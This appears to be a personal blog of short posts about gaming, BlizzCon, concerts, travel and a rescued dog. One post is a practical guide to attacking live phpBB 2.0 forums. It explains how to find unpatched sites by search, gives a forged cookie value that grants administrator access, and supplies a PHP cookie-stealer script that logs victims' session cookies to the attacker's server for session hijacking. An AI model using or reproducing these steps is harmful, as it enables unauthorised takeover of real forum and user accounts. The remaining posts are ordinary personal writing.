So it’s worth posting.

Woot!!  I’m downloading it now.

 The Official OL podcast as put together by Bratta:

http://www.optimus-luminarium.net/podcast.php

Check it out , it’s awesome!

So I have to admit, I’ve always found internet security extremely intriguing. The idea of being able to get around something and finding alternative ways to passwords by cookie editing, session hijacking and cross site scripting fascinates me and I’ve been playing around with them a lot lately. It is, I think, important to note that while the same scripts could be used for malicious purposes, that is never my intent. Instead I see it as a challenge, and enjoy learning whether the attempts fail or not.

As far as I can tell, the majority of holes in popular web applications have two main ways of being exploited: cookie editing/stealing, and mysql injection (which I won’t discuss since I’m not interested in changing the data on a site, just viewing it). That also reminds me of a great comic!

Anyway back to web app security… take for example the popular open source forum software, phpbb. Since mid 2002 until now, version 2.0 has had many patches to fix the type of vulnerabilities I like experimenting with. My favorite sites are those that have not been upgraded to the latest release (3.1) or patched. You can do a google search for ‘powered by phpbb version 2.0.x’ to find one. For now we will call these sites the ‘old way’ of hacking. To gain admin access on those is easy. Make sure you have cookies enabled in your browser, and create an account on the forum you are going to use. Login, and a cookie will have been created. The easiest way to do the next step is with a cookie editor. I prefer one called AddNEdit Cookies, an addon for firefox (not currently working with firefox 3).

http://addneditcookies.mozdev.org/installation.html

In the editor, open the “phpbb2mysql_sid” for the site you are on and delete it. Next find the one called “phpbb2mysql_data” and hit edit. There you’ll find a line like this:

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%2 2%23%3Bs%3A6%3A%22userid%22%3Bi%3A-2%3B%7D

Now delete that and replace it with:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

where user ID is set to the second user registered on the site, most often an administrator.

Save that, close it, and refresh the page. You now have admin access.

While the above way works great with versions 2.10 and lower, it will not work with a site that has been patched to a newer release. For getting into those, session hijacking is the easiest method.

Every time you log into a site like phpbb, a session ID cookie is set upon entry. The server application authenticates the user and displays their personal data on that site as an active session. Until that person physically logs out, the session is still active and can easily be obtained by a 3rd party. If the user has cookies disabled, the SID shows up in every link they go to on the site. If enabled, it’s found in their cookie. Either way, to steal a SID requires you to get them to click a link, which often can be hidden in an image, or external link which takes them to the malicious page, steals the info, and then redirects them to what they think they were clicking, often in seconds before they even noticed it happened.
For testing this I have a short script write to a .txt file on my site like so:
<?php
$ip = $_SERVER[’REMOTE_ADDR’];
$cookie = $_GET[’cookie’];
$referer = $_SERVER[’HTTP_REFERER’];
$browser = $_SERVER[’HTTP_USER_AGENT’];
$redirect = $_GET[’redirect’];

$data = “IP: ” . $ip . “\n”
.”Cookie: ” . $cookie . “\n”
.”Referrer: ” . $referer . “\n”
.”Browser: ” . $browser . “\n\n”;

$log = “cookies.txt”;
@chmod($log, 0777);

$f = fopen($log, ‘a’);
fwrite($f, $data);
fclose($f);

@header(”Location: $redirect”);
?>

Once the user has clicked on my link from the site of choice, I now have their info and SID from one click. Make sure you are logged out and take the SID and enter it in the url of a post on that site. As long as they haven’t physically hit log out, you are now logged in as them! Best of all it works with all versions of phpbb 2.0.

>:)

Went to a Linkin Park concert on the 29th - it was the 4th time I’d heard them play. First time before they were big, on OU’s campus, second here in OKC, once in Dallas when they were touring with Korn and now this one. I’ve really enjoyed the new album and had been looking forward to hearing them since they announced they were coming. Well I bought 2 tickets for it right after Christmas and had them sitting in a safe spot where I wouldn’t lose them. A week before the concert though Heathe pops up on IM and asks ‘We got any plans on Friday?’ I said ‘Yep, the Linkin park concert’. He had decided to try and surprise me and had just bought two more tickets… But anyway it worked out. We offered them out and we had a friend come down from Omaha to join us, so it was a lot of fun. The concert itself was really good. Since the seats weren’t together we just sat anywhere we wanted; it wasn’t sold out or anything. After the first band played though some lady said we had taken her seats so we had to move, and went up about 5 rows higher. The people that ended up in front of us were so drunk…the chick kept trying to dance and would try, but just mainly end up splashing her beer onto the kids in the row in front of them. When the family of seven kids got up to go clean it off them or whatever, the girl that was left saving their seats was tackled when the drunk guy decided to try and dance, and ended up falling down head-first a row right on top of her. The girl got up and left, but came back soon after the incident with a cop. The four drunks sat really still and tried to act like nothing had happened but people were pointing at all four of them so that the cop came up to them and escorted them all out. Pretty entertaining. The concert was much more enjoyable after that as well.
After the concert we met up with Pete and Dianna for some IHOP, since it was pretty much the only thing open for dinner by then. We talked about a lot of warcraft and had an awesome time. Went home and played some xbox for a few hours before all of us went to bed.

Saturday we got up and met up with Tim, Lori, Pete, Dianna, and Doug at a place on campus called Fat Sandwich. Their specialty is making sandwiches with really random combinations. Like mine was called the fat Sooner and had chicken strips, fried cheese, and french fries in marinara sauce. I didn’t really care for it… But hey, at least it wasn’t the one with fried chicken in-between donuts, yuck! From there we headed back to our house for a rock band party. We took turns playing each of the instruments and had a blast. Pictures are here. We did that for a few hours and then switched to rayman on the wii, which has a bunch of mini games. It took some calibrating to get the sensor to work but once it did, it was really funny to watch. AJ stopped by for a bit and we got to hear some of his funny security stories about all the people he’s stopped from shoplifting. His job sounds like a lot of fun! After he left we introduced Doug to Eddie Izzard. I forgot which one we watched but it was the Cake or Death/Flag one. Good stuff. By the time we were hungry it was late, so we Went to Ihop again for dinner, and talked about warcraft for a few more hours before it was time to call it an evening.
We met up again on Sunday at my favorite restaurant, Hideaway, a place we meet up at regularly. They have the best pizza ever…the best one is maui magic with ham, pineapples, and oranges…mmmm. Anyway, we ordered a bunch of different types of specialty pizzas and we all had an excellent lunch. The rest of the day was spent doing some shopping at a new place called Vintage Stock (sells video games/movies/that sort of thing) that had opened the day before going to everyone else’s houses for a tour. Overall it was a really awesome weekend; I had a lot more fun than I have in a long time!

I made up my mind to just get it over with and go back to school. I’ve tossed the idea around for awhile but could never really decide on what I wanted to do exactly. I thought if I waited I would know, but funny how it doesn’t work that way. I still don’t know, and don’t know that I ever will. There’s just too many things I’m interested in, and none of them I can study are close by. I’m torn between going to vet school (2 hour drive to school…) or getting a new degree they offer here in video game design. Plus, I already have a degree, and people are always asking why I don’t just teach…well I hated it. And, am I really that old?? Time goes by so fast lately. I’m looking at schedules now and I think I might be able to just have to go two days a week again (but like 12 hour days…). We’ll see when August comes around.

Stayed up until my shammy hit 70! I ran a heroic (at level 69) to make the rest of the leveling go faster and managed to complete it with no problems, surprisingly! I was worried since I don’t have good gear…or crowd control abilities….but we had an awesome group and it went fast. I also bought my flying mount too so I have 1g left between all my characters…. I should make that back quickly with some gems I cut and put on the AH, hopefully. Yay my second 70!

I’m so excited about all the cool games that are out right now. First Halo, then Guitar Hero III, Orange Box, Lair, Ratchet and Clank, Mario Galaxy, and now Rock band and Mass Effect. I don’t remember a time where there have ever been so much stuff out I’ve wanted to play at the same time. Where to even start! I also haven’t been playing WoW as much lately, just doing some raids and arenas with Alwynn. Last night was the first time in almost two weeks or so that I’d even played my shammy. There’s just not a whole lot left to do with Alwynn, and since my shammy is leveling with Ilias and he’s gone for now I have sort of taken a break myself.

To resist the urge to hit those last couple levels without him though, I’ve been watching heroes. I picked up season 1 and have been watching at least an episode a night; now I’m hooked!

So anyway… last night I went to Walmart at midnight to see if they had any copies of Rock Band. They had 2 left! Looking at the prices on ebay I should have bought both and made some money off it… Either way I was going to just play for a little bit since I had to work today, but after getting it set up, and playing a ‘few’ songs, it was 4am, oops… It is such an awesome game though, and I like it better than guitar hero even. Better songs too, imo. I can’t wait to try it as a band!!

I’m looking forward to thanksgiving, it will be nice to have an extra day off to catch up on some stuff I’ve been wanting to do.

So last night I’m running Heroic Sethekk Halls, trying the new daily quest. We were in there forever. Between people going afk, talking, etc. it took all evening. We get to the last boss, and I DC!! They beat him without me and when I sign back in, I can’t loot him, can’t even do the quest. Fine. I hearth to Shat and am debating opening a ticket about finishing the quest when I DC again. Now I’m pissed, so I just tab out and check my e-mail. Next thing I hear Heathe say is “I thought you weren’t going to play your shammy” I turned around and I had signed on! I immediately changed my password and got back on, nothing was gone. I started a scan of my system, checked my other characters and get DCed again. Changed the password, same thing. I’m pretty sure it was the desktop, but just in case I took both offline. Logged on from Heathe’s computer and my main’s were fine, whew. Changed my password again. Looks like I’m reformating tonight!

This is like the longest day ever… TIME! Go faster!

This weekend was a lot of fun. Friday Heathe and I picked up our friends Tim (Bratta) and Lori (Perinandy) and headed to Nebraska for the weekend. We had been making plans with with Doug (Dirk) for almost a month to come up, spend a couple nights up there and surprise Brendan (Hariel), who is having chemo treatments right now.

Planning the trip was the hard part. Trying to work the schedules of nine people around work and real life was difficult, as was trying to keep it a surprise (especially when that nights kara group doesn’t show up) but I’m glad we were able to go. We left right after we all got off work on Friday and spent the evening driving while listening to the book, The Lamb by Christopher Moore, which is hilarious btw. This drive wasn’t so bad, about 7 hours, and Heathe and I took turns driving my Xterra so it went by pretty fast. I made the mistake of not stopping for gas in Salina, Kansas. I didn’t realize there isn’t really another city in Kansas for the next billion miles and so about 50 miles past it I started to get a little worried. Having a little under a half a tank of gas in the middle of nowhere where there isn’t even a street lamp, sign, or even another freaking car is not something I want to experience again. The worst part is that there was no cell phone service there either, if I had run out we would have been screwed. Plenty of corn to eat though… Finally about another 30 miles and we came to a small town with one gas station that was open and managed to take care of that problem. We made it to the hotel at about 1am and I just crashed.

Saturday morning we got up and headed to Doug’s. The plan was to get there at 10:30am, and Brendan would be there at noon. It was only a short drive away and we found the house with no problems. We headed in with our huge mage care package we created, which, among other things, included bottled glacier water and croissants in stacks of 20. It only seemed fair after all those stacks he’d given us in the game ;). After getting the tour of the house, and having a pretend fight with some of Doug’s sword collection, we plopped down in the living room to wait. Nate (nuked) was visiting from Seattle and would be leaving about an hour after we got there. It was neat getting to meet him! Anyway, Sara and Nate cooked a wonderful lunch while we hung out in the living room talking but when noon rolled around, no Brendan. Doug finally called and he had forgotten! They had told him a couple weeks before to clear Saturday off the calendar because they had a surprise planned for him. He only lived a couple minutes away and was there right after the phone call, though. When he showed up he was pretty surprised I think. We gave him the package and some cards from other members of the guild that were unable to go. Then we ate our tacos and talked about our plans for the next couple days.

After lunch Sara took Nate to the airport to catch his flight. Heathe, Tim, Lori, and Brendan went down to the basement to play some WoW and Doug and I pulled the recliners in front of the TV and fired up some Halo, the original, starting a co-op campaign on heroic. We spent most of that day playing video games. By the time Sara came home, we had made it through more than half the game and it was already time for dinner! The Nebraskan’s decided to take us to the Ameristar (casino) for the buffet. It’s actually in Iowa, which is about 5 min. away. Brendan drove us in his Escape, and gave us a short tour of some of the major sights of the city, (and of the neighboring city in Iowa). The food there at the casino was awesome! They had everything — and the beef in Nebraska really *is* pretty good =). Doug’s kids had to go to bed so we headed back to the house as soon as we finished eating. At this point we started up guitar hero and just went down the list, taking turns and trying to five star everything. It had been awhile so I got stuck on hard =X.

Brendan invited us over to his house for a cookout Sunday, so the next day we headed to his place. We did a little exploring of the city on our own beforehand and found it to be very similar to OKC. Even the mall had the same name! Anyway, we found Brendan’s house and had our cookout. It was an awesome lunch and after we ate and took the tour of his place we hung out in the backyard where there was a nice cool breeze, and more squirrels than I’ve ever seen in my life running around. Unfortunately we couldn’t stay too long, and had to leave at 4 to get back before midnight. Before we left we took a picture of us all together; here’s a few of them.

http://www.flickr.com/photos/heatheandlaura

Trying to makes plans with 9 people, find a day everyone is free, and coordinate it all is frustrating! RAWR!

Edit: not talking about WoW (*gasp* I know…).

We went to California last week and stayed In San Diego (La Jolla to be exact) for a few days. The drive was really long, about 20 hours from Oklahoma City. We went the southern route, through the desert, and it rained the whole way!! Blinding rain that flooded the streets that hadn’t seen rain in years, and then dust storms that followed with the wind, so it put us a few hours behind on schedule. I was a little disappointed my new phone didn’t work through most of Arizona, but I don’t know if that was due to the radio blaring the emergency broadcast thing because we were under some warning or whatever. I was even more pissed when we passed a billboard that said switch to at&t in an area that had no signal. I also didn’t know there were mountains in Southern California. Having never really driven on anything but flat land, that was a new experience, and rather scary at times. I’ve never been one to like heights much. But I managed to get us through them in the dark and we made it to San Diego Monday evening. I really like the time zone difference, it seem to fit my schedule a lot better than in Oklahoma.

In San Diego we had fun hanging out and checking out all the sights. We did seaworld, the zoo, and then did some snorkeling in the freezing cold water!!! Our hotel was on the part of the beach where there was a perfect cove for diving. There were lots of caves, and the water was clear blue. We didn’t see any sharks but we saw seals, orange and blue fish, extremely long skinny fish, and lobsters about 15 feet down. It was about 72 degrees just outside if that tell you what the water temperature was like. I think the only problem with San Diego is there is no parking, everywhere we went we had to pay $15-20 for a spot, whether there was one or not! Wednesday we toured Los Angeles and that one day there was enough of that city for me. Those crazy California drivers…twenty lanes of traffic and still no one was moving. We spend 6 hours driving 35 miles!! Insane.

We arrived in Anaheim Thursday night, checked into the hotel, and walked down to the convention center to pick up our badges early to avoid the inevitable long wait there would be in the morning. Already there was a huge line! Luckily it went by last name, so we were in and out quick, although the whole time we received hostile glares from those with last names between R and T, who looked like they had a good hour wait ahead of them. Anyway, they gave us a huge bag full of stuff! A card to enter a code for a murloc suit, a beta key for an future unannounced game, t-shirts, magnets, key chains, coasters, trading card sets, etc. We headed back to the hotel to get ready for dinner.

That night we made plans to meet up with Banemalor and his girlfriend for dinner. We met them at the Rainforest Cafe, inside Downtown Disney. Dinner was awesome! While we waited for a table we got to watch a fireworks show. We were there for a couple hours and it was cool getting to see them in real life.

So on to Blizzcon.

We got up early, (noon our time), and walked back down to the convention center. Thousands of people were there, all wearing blizzard related shirts, which from far away looked like a huge black wave.

Like everything else Blizzard does, they were late in getting the convention started. Everyone was crowded around the doors and it looked like they might have a stampede with people yelling ‘charge them!’ Once they did open up, people went crazy! Lines formed fast and seats for the intro ceremony were taken up. At the opening speech, we heard a history of the company, found out about the weekend events that would be taking place, and heard the announcement about the new expansion

After that we checked out a bunch of the panels throughout the day. Of the shorter ones we went to was ‘Careers in Gaming’. It was thirty-minute power point presentation about game design, art, and programming in the video game industry and what people should be doing to get those jobs (if you want to work for Blizzard). Basically you need to know how to program, use Photoshop, 3Ds studio max, Maya, and everything about video games there is to know. It also helps if you like designing trees, and other random objects, that are used a lot in their games.

The next developer panel we checked was a discussion about WOW movie being released in 2009. In my opinion this was probably the most disappointing place we went to, as they didn’t really have anything to talk about. What we did find out, however, is that Blizzard was partnering with Legendary films (who also did the movies 300 and Batman Begins). They didn’t have any plans for a cast, director, or plot yet, but it wouldn’t be ‘ just another video game movie’, but more of an ‘epic adventure movie’ like Lord of the Rings. It will be from the alliance point of view, and characters that might appear are Jaina Proudmoore and Thrall.

The items, professions, and class panels were a lot more interesting. We learned about how Blizzard goes about creating items (requiring some to have a ton of parts when creating to make the item feel like it really is a complicated device), how they pick what stats will go where, and the problems they’ve had with different classes (like warriors sometimes taking the role of rogues, becoming a ‘rogue in plate’, etc). Also a major portion of the topics covered the changes that are coming in the expansion and future patches. Here are some of them:

1) Item Changes:

Separate PVP and raiding gear. Players don’t want people feeling like they have to raid to get good gear. Whether you prefer beating someone’s face in with a giant weapon or going and killing a giant dragon, they want players to be able to get good loot either way. Also they want the items to be recognizable, for players to be able to see someone’s shoulders and know the person likes to PVP.

What makes PVP not fun? (warlocks was the word everyone shouted BTW) People don’t like getting blown up as soon as they rez, so to address that problem they’ve been adding more stamina to gear, and taking away some DPS. Also, they want to make spirit a more desirable stat. They are brainstorming on how that will be done, and one of the ideas is to give it a second ability, like maybe helping with healing.

2) Profession Changes:

-Profession daily quests will be added, starting with cooking.

-better profession created gear for leveling – this will help out much more in leveling from seventy to eighty, and players can plan on making money from it.

-vendor recipes will show up more often because it’s no fun to camp them.

Inscription – The new profession that will be added. This will let players inscribe abilities and spells with more power. It will also be able to create items, though these will be are still undetermined.

Alchemy - alchemist only potions are coming. Transmutes, things that don’t make sense like ‘transmute fire to earth’ will be re-looked at.

Jewelcrafting – soulbound epic gem designs for jewelcrafters will be added shortly.

Enchanters - might be switching to an item based system so players can sell their enchants on the auction house.

Engineering – A portable mail box is being worked on, and although they wouldn’t specify, they said engineering would ‘get some love’, and new schematics will let engineers create items to sell to non engineers, making it less of a selfish profession.

3) Class Changes

For all the classes, there will be more customization of characters. We will be able to change our hairstyles, for example.

The first major change will be the addition of the Death Knight class. The first hero class, they will start off at a higher level (they’re thinking around 55ish), have a set of gear from the beginning, and their own mount — perhaps something like a death charger. They will be similar in class to the warrior, acting as tanks or DPS. Necromancer and Blademaster classes are possibilities for an even later expansion.

Healers – Blizzard is looking at giving free spell damage for healers. Since most have problems killing mobs by themselves so they wanted to give them more DPS.

Hunters. They claimed that we feign death too often and to counter that, adding different traps might help. Misdirection was given to us to help with raid utility as was increased pet damage to help dps. They think the biggest problem now is that hunters (and mages) run out of mana too fast, often relying too much on pots, so they will be looking at improving this for both classes.

Other classes like Shammies can expect to gain some sort of crowd control ability in the next expansion. Priests will get improved healing, rogues improved sap, and decurse/remove poison for druids while in tree form. Warlocks will have fear redone because it’s relied on too much. Ret-speced paladins are going to be re-looked at because the current gear doesn’t match them well and they need more dps to become useful in raids. Other problems, like Paladins and Shamans becoming too similar are continually being worked on.

A good part of the convention was dedicated to information about the new expansion. We ported our characters over to a test server, logged on at the computers they provided, and headed into Northrend! The new continent was pretty cool. There will be two starting zones in this area, to prevent congestion. The area they took us to was called the howling fjord, which they let us explore on spectral tiger mounts. There I ran into spotted hippogrphys, mistsabers, eagles, and boars, among other things. The ‘Shattrath’ of Northrend is going to be Dalaran. The city, which is currently the large bubbled area near Southshore, will finally be opened up and teleported to the new continent to become a floating city, accessible from both the ground and flying mounts.

WOW was the star of Blizzcon, but the Starcraft section was my favorite part. The lines to demo Starcraft II were short, with usually only a ten minute wait to play on the computers. If you had two or more people, you could play against other players, otherwise single player Protoss and Terran campaigns were available. Gameplay was similar to the original, with major upgrades to the graphics. The new units were very fun to try out. Of these, my favorites were the Protoss Mothership and the Terran Thor. The Mothership has several options for attacking, but the basic idea is that it can blast away ground units and buildings extremely quick. The Thor is a giant mechanical robot with cannons on its shoulders created not as a unit, but as a building. It can attack both ground and air, and I found building a bunch of these was the easiest way to demolish an opponent.

Changes from the original game that I enjoyed included the blink ability in many Protoss units, Terran Vikings (think: Goliaths that can fly), photon cannons that are moveable, the ability to create two units at the same time in a Terran factory, a seconds button to show exactly how long it would take to create units, Starports can turn into Starbases, to become a sort of mobile flyer that produces units in the air, and the option to ’salvage’ a building to get all the minerals back out of it when you don’t need it anymore.

After spending hours playing, we watched the live demo presented by the developers to hear what they have planned to further the game. They showed us the cinematics, a few levels, the new way the single player campaigns will be laid out. The player will be able to choose what planets to go to and at the end of these, earn money for completion. The players can then spend the money on new units and upgrades for the next level. The demonstration lasted an hour (which I recorded on my camera — I’ll post the link to the video soon). Afterwards they held a question and answer session where Heathe got to ask if there would be a hero system, if there were any plans for a Starcraft MMO and if so if they thought it would compete with WOW. The answer was ‘wait and see’, and that they hope any kind of game can work within any of their universes. ‘IF’ there was going to be one, they didn’t think it would compete with WOW.

In between the developer panels we spent a lot of time standing in lines to check out the different vendors; Nvidia, Dell, Jinx, and the Blizzard store, were some of the most popular. The Jinx line was huge as they selling t-shirts for $5. Nvidia had their newest graphics cards half off and let you test them out on the computers they set up. Dell has a line of WOW laptops coming out with a cool looking design — I like the alliance version.

Well that’s it for now if anyone wants to see the pictures of our trip, check them out here:

http://www.flickr.com/photos/heatheandlaura/sets/72157601285076360/

I’ve been with Sprint for the last couple of years and have had the worst problems dealing with them. I won’t go into that, but lets just say I won’t ever be using them again. Given, my plan was only $9.99 a month until my parents switched, so I couldn’t really complain with it being so cheap. Currently however I’ve been looking around for something else and my contract finally expired a few days ago. So last night I get home from a crappy day at work and Heathe has left a box on my computer. Looking closer I realize it is an iphone!! I think that is one of the nicest gifts I have ever gotten, and for no reason at all.

I’ve been playing with the phone all day. I had problems getting Sprint to change over the number, but after a few phone calls that has been taken care of. I put a ton of music on it last night and all 6 star wars movies (I’m a nerd). It didn’t take long for me to fill it up =) We’re going on vacation next week so it will be very nice to have internet access on the 19 hour drive.

This weekend was pretty cool. Friday night Heathe and I went to see Harry Potter. We got tickets in advance and it was still crazy-packed. Luckily his family saved us a seat because even getting there 30 minutes early it was already completely full. I wasn’t expecting much, seeing as how it was the longest book in the series so far, but it was pretty good. I like book-based movies to follow the plot exactly, but I understand if they did that it would take 10 hours or so to show everything. I thought this one was better at following the plot than some of the others, and I liked how they used the newspapers to explain what was going on in the book, even if they didn’t go into depth. I’m really looking forward to the last book. I’ll be standing in line Friday night waiting for my copy, and I’m taking off that Saturday to read it.

After the movie we came home and gamed. I stayed up until 6a.m. playing starcraft…Went to work at 8… but it was worth it! Saturday went by fast considering I only got 2 hours of sleep. Came home from work and took a nap and woke up just in time to log on and do a Molten Core run with the guild. We managed to down the first six bosses. It was a lot of fun and I’m looking forward to doing that again! Sunday I got caught up on some much needed sleep =). Now for a week worth of work…

When I was planning on going to vet school, I was volunteering at the animal shelter after class. It was hard working there and not wanting to save them all. In fact, I had fallen in love with a black German Shepherd puppy, Mattie, that everyone passed by. Most shelters here are not no-kill and she had been there for awhile. I knew getting another dog, especially a puppy, was not a great idea at the time as we had just moved into a new house, were working full time while going to school full time but she was such a sweet dog and it would have broken my heart if they put her down. An hour before they were going to do it, I payed the fee and took her home. She was about 30 pounds already when we got her. We didn’t have her very long…I met a lady with a farm that had another shepherd for her to play with and off she went. I was so happy she found a home after all.

Today, I got a call from a man that said he had my dog. At first I thought he must have the wrong number. I called him back and he described her, and I realized he meant Mattie. The shelter puts permanent tattoos on all the dogs so that if they ever get out, they know who they are registered to, which was how they contacted me. The man that called said he owned a business, 30 miles from where I lived, and he would tie her up outside if I wanted to come get her. I talked to Heathe about it and went. We were under a flood warning and most of the streets were blocked off. It took three hours to get there, with the traffic problems and the storm causing so many wrecks, but I found her. She is now over 100 pounds and massive, but it was her. I took her home and she hasn’t changed a bit. The owner is gone, so looks like we have ourselves another dog.